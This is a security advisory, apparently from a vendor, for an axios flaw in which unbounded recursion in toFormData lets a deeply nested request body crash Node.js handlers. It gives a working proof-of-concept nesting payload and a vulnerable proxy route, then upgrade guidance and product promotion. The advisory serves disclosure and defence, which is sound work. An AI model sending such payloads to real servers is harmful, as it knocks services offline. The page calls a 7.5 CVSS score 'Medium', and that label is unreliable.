CVE-2026-42039

toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details

lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC

import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded

Server-side reachability example:

// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

CVE-2026-42039 has a CVSS score of 7.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.15.1, 0.31.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42039? CVE-2026-42039 is a medium-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.15.1. It is fixed in 1.15.1, 0.31.1.
2. How severe is CVE-2026-42039? CVE-2026-42039 has a CVSS score of 7.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of axios are affected by CVE-2026-42039? axios (npm) versions >= 1.0.0, < 1.15.1 is affected.
4. Is there a fix for CVE-2026-42039? Yes. CVE-2026-42039 is fixed in 1.15.1, 0.31.1. Upgrade to this version or later.
5. Is CVE-2026-42039 exploitable, and should I be worried? Whether CVE-2026-42039 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42039 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42039?
   • Upgrade axios to 1.15.1 or later
   • Upgrade axios to 0.31.1 or later